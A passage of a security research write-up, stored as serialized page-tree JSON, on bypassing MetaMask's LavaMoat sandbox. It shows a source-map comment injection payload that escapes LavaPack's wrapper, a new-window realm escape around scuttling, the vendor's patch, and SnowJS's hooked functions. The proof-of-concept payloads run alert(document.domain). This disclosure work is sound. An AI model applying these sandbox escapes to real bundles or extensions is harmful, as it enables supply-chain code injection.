happens.",{"type":22,"tag":618,"props":50158,"children":50160},{"className":32678,"code":50159,"language":32680,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[50161],{"type":22,"tag":257,"props":50162,"children":50163},{"__ignoreMap":7},[50164,50203,50229,50237,50451,50458,50465,50472,50507,50557],{"type":22,"tag":264,"props":50165,"children":50166},{"class":1534,"line":1535},[50167,50172,50176,50181,50185,50189,50193,50198],{"type":22,"tag":264,"props":50168,"children":50169},{"style":1549},[50170],{"type":27,"value":50171},"Object",{"type":22,"tag":264,"props":50173,"children":50174},{"style":1539},[50175],{"type":27,"value":210},{"type":22,"tag":264,"props":50177,"children":50178},{"style":4401},[50179],{"type":27,"value":50180},"defineProperty",{"type":22,"tag":264,"props":50182,"children":50183},{"style":1539},[50184],{"type":27,"value":2660},{"type":22,"tag":264,"props":50186,"children":50187},{"style":4722},[50188],{"type":27,"value":39200},{"type":22,"tag":264,"props":50190,"children":50191},{"style":1539},[50192],{"type":27,"value":4380},{"type":22,"tag":264,"props":50194,"children":50195},{"style":1597},[50196],{"type":27,"value":50197},"'commentRegex'",{"type":22,"tag":264,"props":50199,"children":50200},{"style":1539},[50201],{"type":27,"value":50202},", {\n",{"type":22,"tag":264,"props":50204,"children":50205},{"class":1534,"line":1545},[50206,50211,50215,50219,50224],{"type":22,"tag":264,"props":50207,"children":50208},{"style":4401},[50209],{"type":27,"value":50210},"  get",{"type":22,"tag":264,"props":50212,"children":50213},{"style":1549},[50214],{"type":27,"value":5785},{"type":22,"tag":264,"props":50216,"children":50217},{"style":4293},[50218],{"type":27,"value":39528},{"type":22,"tag":264,"props":50220,"children":50221},{"style":4401},[50222],{"type":27,"value":50223}," getCommentRegex",{"type":22,"tag":264,"props":50225,"children":50226},{"style":1539},[50227],{"type":27,"value":50228}," () {\n",{"type":22,"tag":264,"props":50230,"children":50231},{"class":1534,"line":1560},[50232],{"type":22,"tag":264,"props":50233,"children":50234},{"style":4284},[50235],{"type":27,"value":50236},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":22,"tag":264,"props":50238,"children":50239},{"class":1534,"line":1569},[50240,50244,50250,50255,50260,50265,50269,50274,50279,50284,50288,50292,50297,50302,50307,50312,50316,50320,50324,50329,50333,50338,50343,50348,50353,50357,50361,50365,50369,50373,50377,50381,50385,50390,50395,50399,50404,50409,50413,50417,50421,50425,50430,50434,50438,50442,50447],{"type":22,"tag":264,"props":50241,"children":50242},{"style":4328},[50243],{"type":27,"value":18291},{"type":22,"tag":264,"props":50245,"children":50247},{"style":50246},"--shiki-default:#D16969",[50248],{"type":27,"value":50249}," /",{"type":22,"tag":264,"props":50251,"children":50252},{"style":4401},[50253],{"type":27,"value":50254},"^",{"type":22,"tag":264,"props":50256,"children":50257},{"style":50246},[50258],{"type":27,"value":50259},"\\s",{"type":22,"tag":264,"props":50261,"children":50262},{"style":49693},[50263],{"type":27,"value":50264},"*?\\/",{"type":22,"tag":264,"props":50266,"children":50267},{"style":1597},[50268],{"type":27,"value":5045},{"type":22,"tag":264,"props":50270,"children":50271},{"style":49693},[50272],{"type":27,"value":50273},"\\/\\*",{"type":22,"tag":264,"props":50275,"children":50276},{"style":1597},[50277],{"type":27,"value":50278},"][",{"type":22,"tag":264,"props":50280,"children":50281},{"style":50246},[50282],{"type":27,"value":50283},"@#",{"type":22,"tag":264,"props":50285,"children":50286},{"style":1597},[50287],{"type":27,"value":16710},{"type":22,"tag":264,"props":50289,"children":50290},{"style":50246},[50291],{"type":27,"value":50259},{"type":22,"tag":264,"props":50293,"children":50294},{"style":49693},[50295],{"type":27,"value":50296},"+?",{"type":22,"tag":264,"props":50298,"children":50299},{"style":50246},[50300],{"type":27,"value":50301},"sourceMappingURL=data:",{"type":22,"tag":264,"props":50303,"children":50304},{"style":1597},[50305],{"type":27,"value":50306},"(((?:",{"type":22,"tag":264,"props":50308,"children":50309},{"style":50246},[50310],{"type":27,"value":50311},"application",{"type":22,"tag":264,"props":50313,"children":50314},{"style":4401},[50315],{"type":27,"value":11714},{"type":22,"tag":264,"props":50317,"children":50318},{"style":50246},[50319],{"type":27,"value":27},{"type":22,"tag":264,"props":50321,"children":50322},{"style":1597},[50323],{"type":27,"value":2806},{"type":22,"tag":264,"props":50325,"children":50326},{"style":49693},[50327],{"type":27,"value":50328},"\\/",{"type":22,"tag":264,"props":50330,"children":50331},{"style":50246},[50332],{"type":27,"value":1527},{"type":22,"tag":264,"props":50334,"children":50335},{"style":1597},[50336],{"type":27,"value":50337},")(?:",{"type":22,"tag":264,"props":50339,"children":50340},{"style":50246},[50341],{"type":27,"value":50342},";charset=",{"type":22,"tag":264,"props":50344,"children":50345},{"style":1597},[50346],{"type":27,"value":50347},"([^",{"type":22,"tag":264,"props":50349,"children":50350},{"style":50246},[50351],{"type":27,"value":50352},";,",{"type":22,"tag":264,"props":50354,"children":50355},{"style":1597},[50356],{"type":27,"value":16710},{"type":22,"tag":264,"props":50358,"children":50359},{"style":49693},[50360],{"type":27,"value":50296},{"type":22,"tag":264,"props":50362,"children":50363},{"style":1597},[50364],{"type":27,"value":2806},{"type":22,"tag":264,"props":50366,"children":50367},{"style":49693},[50368],{"type":27,"value":4458},{"type":22,"tag":264,"props":50370,"children":50371},{"style":1597},[50372],{"type":27,"value":2806},{"type":22,"tag":264,"props":50374,"children":50375},{"style":49693},[50376],{"type":27,"value":4458},{"type":22,"tag":264,"props":50378,"children":50379},{"style":1597},[50380],{"type":27,"value":2806},{"type":22,"tag":264,"props":50382,"children":50383},{"style":49693},[50384],{"type":27,"value":4458},{"type":22,"tag":264,"props":50386,"children":50387},{"style":1597},[50388],{"type":27,"value":50389},"(?:",{"type":22,"tag":264,"props":50391,"children":50392},{"style":50246},[50393],{"type":27,"value":50394},";",{"type":22,"tag":264,"props":50396,"children":50397},{"style":1597},[50398],{"type":27,"value":2660},{"type":22,"tag":264,"props":50400,"children":50401},{"style":50246},[50402],{"type":27,"value":50403},"base64",{"type":22,"tag":264,"props":50405,"children":50406},{"style":1597},[50407],{"type":27,"value":50408},"))",{"type":22,"tag":264,"props":50410,"children":50411},{"style":49693},[50412],{"type":27,"value":4458},{"type":22,"tag":264,"props":50414,"children":50415},{"style":50246},[50416],{"type":27,"value":5423},{"type":22,"tag":264,"props":50418,"children":50419},{"style":1597},[50420],{"type":27,"value":2660},{"type":22,"tag":264,"props":50422,"children":50423},{"style":50246},[50424],{"type":27,"value":210},{"type":22,"tag":264,"props":50426,"children":50427},{"style":49693},[50428],{"type":27,"value":50429},"*?",{"type":22,"tag":264,"props":50431,"children":50432},{"style":1597},[50433],{"type":27,"value":2806},{"type":22,"tag":264,"props":50435,"children":50436},{"style":4401},[50437],{"type":27,"value":731},{"type":22,"tag":264,"props":50439,"children":50440},{"style":50246},[50441],{"type":27,"value":2891},{"type":22,"tag":264,"props":50443,"children":50444},{"style":4293},[50445],{"type":27,"value":50446},"mg",{"type":22,"tag":264,"props":50448,"children":50449},{"style":1539},[50450],{"type":27,"value":4322},{"type":22,"tag":264,"props":50452,"children":50453},{"class":1534,"line":1583},[50454],{"type":22,"tag":264,"props":50455,"children":50456},{"style":1539},[50457],{"type":27,"value":7163},{"type":22,"tag":264,"props":50459,"children":50460},{"class":1534,"line":1603},[50461],{"type":22,"tag":264,"props":50462,"children":50463},{"style":1539},[50464],{"type":27,"value":36652},{"type":22,"tag":264,"props":50466,"children":50467},{"class":1534,"line":1612},[50468],{"type":22,"tag":264,"props":50469,"children":50470},{"emptyLinePlaceholder":17},[50471],{"type":27,"value":4986},{"type":22,"tag":264,"props":50473,"children":50474},{"class":1534,"line":1621},[50475,50479,50483,50487,50491,50495,50499,50503],{"type":22,"tag":264,"props":50476,"children":50477},{"style":4722},[50478],{"type":27,"value":39200},{"type":22,"tag":264,"props":50480,"children":50481},{"style":1539},[50482],{"type":27,"value":210},{"type":22,"tag":264,"props":50484,"children":50485},{"style":4401},[50486],{"type":27,"value":50090},{"type":22,"tag":264,"props":50488,"children":50489},{"style":4309},[50490],{"type":27,"value":4312},{"type":22,"tag":264,"props":50492,"children":50493},{"style":4293},[50494],{"type":27,"value":39528},{"type":22,"tag":264,"props":50496,"children":50497},{"style":1539},[50498],{"type":27,"value":4370},{"type":22,"tag":264,"props":50500,"children":50501},{"style":1549},[50502],{"type":27,"value":33985},{"type":22,"tag":264,"props":50504,"children":50505},{"style":1539},[50506],{"type":27,"value":16103},{"type":22,"tag":264,"props":50508,"children":50509},{"class":1534,"line":1629},[50510,50514,50518,50522,50527,50531,50535,50539,50544,50548,50553],{"type":22,"tag":264,"props":50511,"children":50512},{"style":4328},[50513],{"type":27,"value":40513},{"type":22,"tag":264,"props":50515,"children":50516},{"style":1549},[50517],{"type":27,"value":49681},{"type":22,"tag":264,"props":50519,"children":50520},{"style":1539},[50521],{"type":27,"value":210},{"type":22,"tag":264,"props":50523,"children":50524},{"style":4401},[50525],{"type":27,"value":50526},"replace",{"type":22,"tag":264,"props":50528,"children":50529},{"style":1539},[50530],{"type":27,"value":2660},{"type":22,"tag":264,"props":50532,"children":50533},{"style":4722},[50534],{"type":27,"value":39200},{"type":22,"tag":264,"props":50536,"children":50537},{"style":1539},[50538],{"type":27,"value":210},{"type":22,"tag":264,"props":50540,"children":50541},{"style":1549},[50542],{"type":27,"value":50543},"commentRegex",{"type":22,"tag":264,"props":50545,"children":50546},{"style":1539},[50547],{"type":27,"value":4380},{"type":22,"tag":264,"props":50549,"children":50550},{"style":1597},[50551],{"type":27,"value":50552},"''",{"type":22,"tag":264,"props":50554,"children":50555},{"style":1539},[50556],{"type":27,"value":5142},{"type":22,"tag":264,"props":50558,"children":50559},{"class":1534,"line":1642},[50560],{"type":22,"tag":264,"props":50561,"children":50562},{"style":1539},[50563],{"type":27,"value":17878},{"type":22,"tag":23,"props":50565,"children":50566},{},[50567,50569,50575],{"type":27,"value":50568},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":22,"tag":257,"props":50570,"children":50572},{"className":50571},[],[50573],{"type":27,"value":50574},"/*",{"type":27,"value":50576},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":22,"tag":181,"props":50578,"children":50580},{"id":50579},"the-bypass",[50581],{"type":27,"value":50582},"The Bypass",{"type":22,"tag":23,"props":50584,"children":50585},{},[50586,50588,50593,50595,50600],{"type":27,"value":50587},"By abusing the ",{"type":22,"tag":257,"props":50589,"children":50591},{"className":50590},[],[50592],{"type":27,"value":50090},{"type":27,"value":50594}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":22,"tag":257,"props":50596,"children":50598},{"className":50597},[],[50599],{"type":27,"value":49434},{"type":27,"value":50601}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":22,"tag":618,"props":50603,"children":50605},{"className":32678,"code":50604,"language":32680,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[50606],{"type":22,"tag":257,"props":50607,"children":50608},{"__ignoreMap":7},[50609,50617,50624,50632,50640,50648,50656,50664,50672,50679,50687],{"type":22,"tag":264,"props":50610,"children":50611},{"class":1534,"line":1535},[50612],{"type":22,"tag":264,"props":50613,"children":50614},{"style":4284},[50615],{"type":27,"value":50616},"/*# sourceMappingURL=data:,{}\n",{"type":22,"tag":264,"props":50618,"children":50619},{"class":1534,"line":1545},[50620],{"type":22,"tag":264,"props":50621,"children":50622},{"emptyLinePlaceholder":17},[50623],{"type":27,"value":4986},{"type":22,"tag":264,"props":50625,"children":50626},{"class":1534,"line":1560},[50627],{"type":22,"tag":264,"props":50628,"children":50629},{"style":4284},[50630],{"type":27,"value":50631},"}}}}\n",{"type":22,"tag":264,"props":50633,"children":50634},{"class":1534,"line":1569},[50635],{"type":22,"tag":264,"props":50636,"children":50637},{"style":4284},[50638],{"type":27,"value":50639},"}, {\n",{"type":22,"tag":264,"props":50641,"children":50642},{"class":1534,"line":1583},[50643],{"type":22,"tag":264,"props":50644,"children":50645},{"style":4284},[50646],{"type":27,"value":50647},"    package: \"xpl\",\n",{"type":22,"tag":264,"props":50649,"children":50650},{"class":1534,"line":1603},[50651],{"type":22,"tag":264,"props":50652,"children":50653},{"style":4284},[50654],{"type":27,"value":50655},"    file: \"node_modules/xpl/index.js\",\n",{"type":22,"tag":264,"props":50657,"children":50658},{"class":1534,"line":1612},[50659],{"type":22,"tag":264,"props":50660,"children":50661},{"style":4284},[50662],{"type":27,"value":50663},"    test: alert(document.domain),\n",{"type":22,"tag":264,"props":50665,"children":50666},{"class":1534,"line":1621},[50667],{"type":22,"tag":264,"props":50668,"children":50669},{"style":4284},[50670],{"type":27,"value":50671},"    test1: () => { () => { () => { () => {\n",{"type":22,"tag":264,"props":50673,"children":50674},{"class":1534,"line":1629},[50675],{"type":22,"tag":264,"props":50676,"children":50677},{"emptyLinePlaceholder":17},[50678],{"type":27,"value":4986},{"type":22,"tag":264,"props":50680,"children":50681},{"class":1534,"line":1642},[50682],{"type":22,"tag":264,"props":50683,"children":50684},{"style":4284},[50685],{"type":27,"value":50686},"/*\n",{"type":22,"tag":264,"props":50688,"children":50689},{"class":1534,"line":1660},[50690],{"type":22,"tag":264,"props":50691,"children":50692},{"style":4284},[50693],{"type":27,"value":50694},"*/\n",{"type":22,"tag":23,"props":50696,"children":50697},{},[50698],{"type":27,"value":50699},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":22,"tag":181,"props":50701,"children":50703},{"id":50702},"lavapack-patch",[50704],{"type":27,"value":50705},"Lavapack Patch",{"type":22,"tag":23,"props":50707,"children":50708},{},[50709,50711,50717],{"type":27,"value":50710},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":22,"tag":257,"props":50712,"children":50714},{"className":50713},[],[50715],{"type":27,"value":50716},"assertValidJS",{"type":27,"value":50718},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":22,"tag":23,"props":50720,"children":50721},{},[50722,50724,50731],{"type":27,"value":50723},"The patch was introduced in commit ",{"type":22,"tag":69,"props":50725,"children":50728},{"href":50726,"rel":50727},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[73],[50729],{"type":27,"value":50730},"9c38cd4",{"type":27,"value":210},{"type":22,"tag":618,"props":50733,"children":50735},{"className":41675,"code":50734,"language":41677,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[50736],{"type":22,"tag":257,"props":50737,"children":50738},{"__ignoreMap":7},[50739,50747,50755,50763,50771,50779,50787,50795,50802,50810],{"type":22,"tag":264,"props":50740,"children":50741},{"class":1534,"line":1535},[50742],{"type":22,"tag":264,"props":50743,"children":50744},{"style":4344},[50745],{"type":27,"value":50746},"+ function assertValidJS(code) {\n",{"type":22,"tag":264,"props":50748,"children":50749},{"class":1534,"line":1545},[50750],{"type":22,"tag":264,"props":50751,"children":50752},{"style":4344},[50753],{"type":27,"value":50754},"+  try {\n",{"type":22,"tag":264,"props":50756,"children":50757},{"class":1534,"line":1560},[50758],{"type":22,"tag":264,"props":50759,"children":50760},{"style":4344},[50761],{"type":27,"value":50762},"+    new Function(code)\n",{"type":22,"tag":264,"props":50764,"children":50765},{"class":1534,"line":1569},[50766],{"type":22,"tag":264,"props":50767,"children":50768},{"style":4344},[50769],{"type":27,"value":50770},"+  } catch (err) {\n",{"type":22,"tag":264,"props":50772,"children":50773},{"class":1534,"line":1583},[50774],{"type":22,"tag":264,"props":50775,"children":50776},{"style":4344},[50777],{"type":27,"value":50778},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":22,"tag":264,"props":50780,"children":50781},{"class":1534,"line":1603},[50782],{"type":22,"tag":264,"props":50783,"children":50784},{"style":4344},[50785],{"type":27,"value":50786},"+  }\n",{"type":22,"tag":264,"props":50788,"children":50789},{"class":1534,"line":1612},[50790],{"type":22,"tag":264,"props":50791,"children":50792},{"style":4344},[50793],{"type":27,"value":50794},"+ }\n",{"type":22,"tag":264,"props":50796,"children":50797},{"class":1534,"line":1621},[50798],{"type":22,"tag":264,"props":50799,"children":50800},{"emptyLinePlaceholder":17},[50801],{"type":27,"value":4986},{"type":22,"tag":264,"props":50803,"children":50804},{"class":1534,"line":1629},[50805],{"type":22,"tag":264,"props":50806,"children":50807},{"style":4344},[50808],{"type":27,"value":50809},"+  // additional layer of syntax checking independent of browserify\n",{"type":22,"tag":264,"props":50811,"children":50812},{"class":1534,"line":1642},[50813],{"type":22,"tag":264,"props":50814,"children":50815},{"style":4344},[50816],{"type":27,"value":50817},"+  assertValidJS(sourceMeta.code)\n",{"type":22,"tag":169,"props":50819,"children":50821},{"id":50820},"hacking-js-realms",[50822],{"type":27,"value":50823},"Hacking JS Realms",{"type":22,"tag":23,"props":50825,"children":50826},{},[50827,50829,50834],{"type":27,"value":50828},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":22,"tag":257,"props":50830,"children":50832},{"className":50831},[],[50833],{"type":27,"value":38731},{"type":27,"value":50835}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":22,"tag":618,"props":50837,"children":50839},{"className":32678,"code":50838,"language":32680,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[50840],{"type":22,"tag":257,"props":50841,"children":50842},{"__ignoreMap":7},[50843,50885],{"type":22,"tag":264,"props":50844,"children":50845},{"class":1534,"line":1535},[50846,50850,50855,50859,50863,50867,50872,50876,50881],{"type":22,"tag":264,"props":50847,"children":50848},{"style":4293},[50849],{"type":27,"value":10953},{"type":22,"tag":264,"props":50851,"children":50852},{"style":1549},[50853],{"type":27,"value":50854}," w",{"type":22,"tag":264,"props":50856,"children":50857},{"style":4309},[50858],{"type":27,"value":4312},{"type":22,"tag":264,"props":50860,"children":50861},{"style":1549},[50862],{"type":27,"value":32723},{"type":22,"tag":264,"props":50864,"children":50865},{"style":1539},[50866],{"type":27,"value":210},{"type":22,"tag":264,"props":50868,"children":50869},{"style":4401},[50870],{"type":27,"value":50871},"open",{"type":22,"tag":264,"props":50873,"children":50874},{"style":1539},[50875],{"type":27,"value":2660},{"type":22,"tag":264,"props":50877,"children":50878},{"style":1597},[50879],{"type":27,"value":50880},"'/non_existent'",{"type":22,"tag":264,"props":50882,"children":50883},{"style":1539},[50884],{"type":27,"value":5142},{"type":22,"tag":264,"props":50886,"children":50887},{"class":1534,"line":1545},[50888,50893,50897,50901,50905,50909,50913,50917],{"type":22,"tag":264,"props":50889,"children":50890},{"style":1549},[50891],{"type":27,"value":50892},"w",{"type":22,"tag":264,"props":50894,"children":50895},{"style":1539},[50896],{"type":27,"value":210},{"type":22,"tag":264,"props":50898,"children":50899},{"style":4401},[50900],{"type":27,"value":34013},{"type":22,"tag":264,"props":50902,"children":50903},{"style":1539},[50904],{"type":27,"value":2660},{"type":22,"tag":264,"props":50906,"children":50907},{"style":1549},[50908],{"type":27,"value":34023},{"type":22,"tag":264,"props":50910,"children":50911},{"style":1539},[50912],{"type":27,"value":210},{"type":22,"tag":264,"props":50914,"children":50915},{"style":1549},[50916],{"type":27,"value":34033},{"type":22,"tag":264,"props":50918,"children":50919},{"style":1539},[50920],{"type":27,"value":4463},{"type":22,"tag":23,"props":50922,"children":50923},{},[50924,50926,50931],{"type":27,"value":50925},"This opens a new window with a new JS Realm (another ",{"type":22,"tag":257,"props":50927,"children":50929},{"className":50928},[],[50930],{"type":27,"value":38731},{"type":27,"value":50932}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":22,"tag":23,"props":50934,"children":50935},{},[50936,50938,50945],{"type":27,"value":50937},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":22,"tag":69,"props":50939,"children":50942},{"href":50940,"rel":50941},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[73],[50943],{"type":27,"value":50944},"Metamask implementation",{"type":27,"value":2806},{"type":22,"tag":181,"props":50947,"children":50949},{"id":50948},"snowjs-attack-surface",[50950],{"type":27,"value":50951},"SnowJS Attack Surface",{"type":22,"tag":23,"props":50953,"children":50954},{},[50955],{"type":27,"value":50956},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":22,"tag":23,"props":50958,"children":50959},{},[50960,50962,50969],{"type":27,"value":50961},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":22,"tag":69,"props":50963,"children":50966},{"href":50964,"rel":50965},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[73],[50967],{"type":27,"value":50968},"hooked inserters",{"type":27,"value":50970}," functions:",{"type":22,"tag":618,"props":50972,"children":50974},{"className":32678,"code":50973,"language":32680,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[50975],{"type":22,"tag":257,"props":50976,"children":50977},{"__ignoreMap":7},[50978,50998,51019,51058,51112,51151,51250,51270,51291],{"type":22,"tag":264,"props":50979,"children":50980},{"class":1534,"line":1535},[50981,50985,50990,50994],{"type":22,"tag":264,"props":50982,"children":50983},{"style":4293},[50984],{"type":27,"value":10953},{"type":22,"tag":264,"props":50986,"children":50987},{"style":1549},[50988],{"type":27,"value":50989}," map",{"type":22,"tag":264,"props":50991,"children":50992},{"style":4309},[50993],{"type":27,"value":4312},{"type":22,"tag":264,"props":50995,"children":50996},{"style":1539},[50997],{"type":27,"value":4594},{"type":22,"tag":264,"props":50999,"children":51000},{"class":1534,"line":1545},[51001,51006,51010,51015],{"type":22,"tag":264,"props":51002,"children":51003},{"style":1549},[51004],{"type":27,"value":51005},"    Range:",{"type":22,"tag":264,"props":51007,"children":51008},{"style":1539},[51009],{"type":27,"value":24333},{"type":22,"tag":264,"props":51011,"children":51012},{"style":1597},[51013],{"type":27,"value":51014},"'insertNode'",{"type":22,"tag":264,"props":51016,"children":51017},{"style":1539},[51018],{"type":27,"value":15562},{"type":22,"tag":264,"props":51020,"children":51021},{"class":1534,"line":1560},[51022,51027,51031,51036,51040,51045,51049,51054],{"type":22,"tag":264,"props":51023,"children":51024},{"style":1549},[51025],{"type":27,"value":51026},"    DocumentFragment:",{"type":22,"tag":264,"props":51028,"children":51029},{"style":1539},[51030],{"type":27,"value":24333},{"type":22,"tag":264,"props":51032,"children":51033},{"style":1597},[51034],{"type":27,"value":51035},"'replaceChildren'",{"type":22,"tag":264,"props":51037,"children":51038},{"style":1539},[51039],{"type":27,"value":4380},{"type":22,"tag":264,"props":51041,"children":51042},{"style":1597},[51043],{"type":27,"value":51044},"'append'",{"type":22,"tag":264,"props":51046,"children":51047},{"style":1539},[51048],{"type":27,"value":4380},{"type":22,"tag":264,"props":51050,"children":51051},{"style":1597},[51052],{"type":27,"value":51053},"'prepend'",{"type":22,"tag":264,"props":51055,"children":51056},{"style":1539},[51057],{"type":27,"value":15562},{"type":22,"tag":264,"props":51059,"children":51060},{"class":1534,"line":1569},[51061,51066,51070,51074,51078,51082,51086,51090,51094,51099,51103,51108],{"type":22,"tag":264,"props":51062,"children":51063},{"style":1549},[51064],{"type":27,"value":51065},"    Document:",{"type":22,"tag":264,"props":51067,"children":51068},{"style":1539},[51069],{"type":27,"value":24333},{"type":22,"tag":264,"props":51071,"children":51072},{"style":1597},[51073],{"type":27,"value":51035},{"type":22,"tag":264,"props":51075,"children":51076},{"style":1539},[51077],{"type":27,"value":4380},{"type":22,"tag":264,"props":51079,"children":51080},{"style":1597},[51081],{"type":27,"value":51044},{"type":22,"tag":264,"props":51083,"children":51084},{"style":1539},[51085],{"type":27,"value":4380},{"type":22,"tag":264,"props":51087,"children":51088},{"style":1597},[51089],{"type":27,"value":51053},{"type":22,"tag":264,"props":51091,"children":51092},{"style":1539},[51093],{"type":27,"value":4380},{"type":22,"tag":264,"props":51095,"children":51096},{"style":1597},[51097],{"type":27,"value":51098},"'write'",{"type":22,"tag":264,"props":51100,"children":51101},{"style":1539},[51102],{"type":27,"value":4380},{"type":22,"tag":264,"props":51104,"children":51105},{"style":1597},[51106],{"type":27,"value":51107},"'writeln'",{"type":22,"tag":264,"props":51109,"children":51110},{"style":1539},[51111],{"type":27,"value":15562},{"type":22,"tag":264,"props":51113,"children":51114},{"class":1534,"line":1583},[51115,51120,51124,51129,51133,51138,51142,51147],{"type":22,"tag":264,"props":51116,"children":51117},{"style":1549},[51118],{"type":27,"value":51119},"    Node:",{"type":22,"tag":264,"props":51121,"children":51122},{"style":1539},[51123],{"type":27,"value":24333},{"type":22,"tag":264,"props":51125,"children":51126},{"style":1597},[51127],{"type":27,"value":51128},"'appendChild'",{"type":22,"tag":264,"props":51130,"children":51131},{"style":1539},[51132],{"type":27,"value":4380},{"type":22,"tag":264,"props":51134,"children":51135},{"style":1597},[51136],{"type":27,"value":51137},"'insertBefore'",{"type":22,"tag":264,"props":51139,"children":51140},{"style":1539},[51141],{"type":27,"value":4380},{"type":22,"tag":264,"props":51143,"children":51144},{"style":1597},[51145],{"type":27,"value":51146},"'replaceChild'",{"type":22,"tag":264,"props":51148,"children":51149},{"style":1539},[51150],{"type":27,"value":15562},{"type":22,"tag":264,"props":51152,"children":51153},{"class":1534,"line":1603},[51154,51159,51163,51168,51172,51177,51181,51186,51190,51195,51199,51204,51208,51212,51216,51221,51225,51229,51233,51238,51242,51246],{"type":22,"tag":264,"props":51155,"children":51156},{"style":1549},[51157],{"type":27,"value":51158},"    Element:",{"type":22,"tag":264,"props":51160,"children":51161},{"style":1539},[51162],{"type":27,"value":24333},{"type":22,"tag":264,"props":51164,"children":51165},{"style":1597},[51166],{"type":27,"value":51167},"'innerHTML'",{"type":22,"tag":264,"props":51169,"children":51170},{"style":1539},[51171],{"type":27,"value":4380},{"type":22,"tag":264,"props":51173,"children":51174},{"style":1597},[51175],{"type":27,"value":51176},"'outerHTML'",{"type":22,"tag":264,"props":51178,"children":51179},{"style":1539},[51180],{"type":27,"value":4380},{"type":22,"tag":264,"props":51182,"children":51183},{"style":1597},[51184],{"type":27,"value":51185},"'insertAdjacentHTML'",{"type":22,"tag":264,"props":51187,"children":51188},{"style":1539},[51189],{"type":27,"value":4380},{"type":22,"tag":264,"props":51191,"children":51192},{"style":1597},[51193],{"type":27,"value":51194},"'replaceWith'",{"type":22,"tag":264,"props":51196,"children":51197},{"style":1539},[51198],{"type":27,"value":4380},{"type":22,"tag":264,"props":51200,"children":51201},{"style":1597},[51202],{"type":27,"value":51203},"'insertAdjacentElement'",{"type":22,"tag":264,"props":51205,"children":51206},{"style":1539},[51207],{"type":27,"value":4380},{"type":22,"tag":264,"props":51209,"children":51210},{"style":1597},[51211],{"type":27,"value":51044},{"type":22,"tag":264,"props":51213,"children":51214},{"style":1539},[51215],{"type":27,"value":4380},{"type":22,"tag":264,"props":51217,"children":51218},{"style":1597},[51219],{"type":27,"value":51220},"'before'",{"type":22,"tag":264,"props":51222,"children":51223},{"style":1539},[51224],{"type":27,"value":4380},{"type":22,"tag":264,"props":51226,"children":51227},{"style":1597},[51228],{"type":27,"value":51053},{"type":22,"tag":264,"props":51230,"children":51231},{"style":1539},[51232],{"type":27,"value":4380},{"type":22,"tag":264,"props":51234,"children":51235},{"style":1597},[51236],{"type":27,"value":51237},"'after'",{"type":22,"tag":264,"props":51239,"children":51240},{"style":1539},[51241],{"type":27,"value":4380},{"type":22,"tag":264,"props":51243,"children":51244},{"style":1597},[51245],{"type":27,"value":51035},{"type":22,"tag":264,"props":51247,"children":51248},{"style":1539},[51249],{"type":27,"value":15562},{"type":22,"tag":264,"props":51251,"children":51252},{"class":1534,"line":1612},[51253,51258,51262,51266],{"type":22,"tag":264,"props":51254,"children":51255},{"style":1549},[51256],{"type":27,"value":51257},"    ShadowRoot:",{"type":22,"tag":264,"props":51259,"children":51260},{"style":1539},[51261],{"type":27,"value":24333},{"type":22,"tag":264,"props":51263,"children":51264},{"style":1597},[51265],{"type":27,"value":51167},{"type":22,"tag":264,"props":51267,"children":51268},{"style":1539},[51269],{"type":27,"value":15562},{"type":22,"tag":264,"props":51271,"children":51272},{"class":1534,"line":1621},[51273,51278,51282,51287],{"type":22,"tag":264,"props":51274,"children":51275},{"style":1549},[51276],{"type":27,"value":51277},"    